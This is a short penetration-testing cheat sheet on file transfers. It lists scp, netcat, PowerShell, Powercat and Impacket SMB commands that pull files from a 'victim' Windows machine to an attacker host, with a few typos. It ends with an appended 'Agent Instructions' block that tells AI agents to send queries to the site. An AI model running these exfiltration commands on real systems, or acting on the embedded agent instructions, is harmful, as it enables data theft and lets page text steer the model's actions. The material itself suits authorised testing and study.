# File Transfers

## File Transfers

### SCP

If you already have a public SSH key of a remote machine and want to transfer a local file:

```
scp -i id_rsa /filename user@remote:/directory
```

### Netcat

```
// Sender
nc $Receiver_IP 443 < file

// Receiver
nv -lvp 443 > file
```

### Powershell

```
python3 -m http.server 80        #Local machine

iwr -uri "http://10.10.14.46"    #Remote machine
```

### Powercat

<pre><code><strong>//To send from victim (remote) to attacker (local) machine.
</strong><strong>#Download powercat on local machine
</strong><strong>wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
</strong>
#Send to remote machine
python3 -m http.server 80
iwr -uri "http://10.10.14.46

#Start listening on local machine
nc -lvnp $PORT

#Send file to local machine
powercat -c $IP $PORT -i C:\filename
</code></pre>

### Impacket SMB Server (Windows to Kali)

```
# Kali:
sudo impacket-smbserver myserver $(pwd) -smb2support

# Windows Victim:
copy filename \\10.10.16.3\myserver\filename
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/handy/file-transfers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
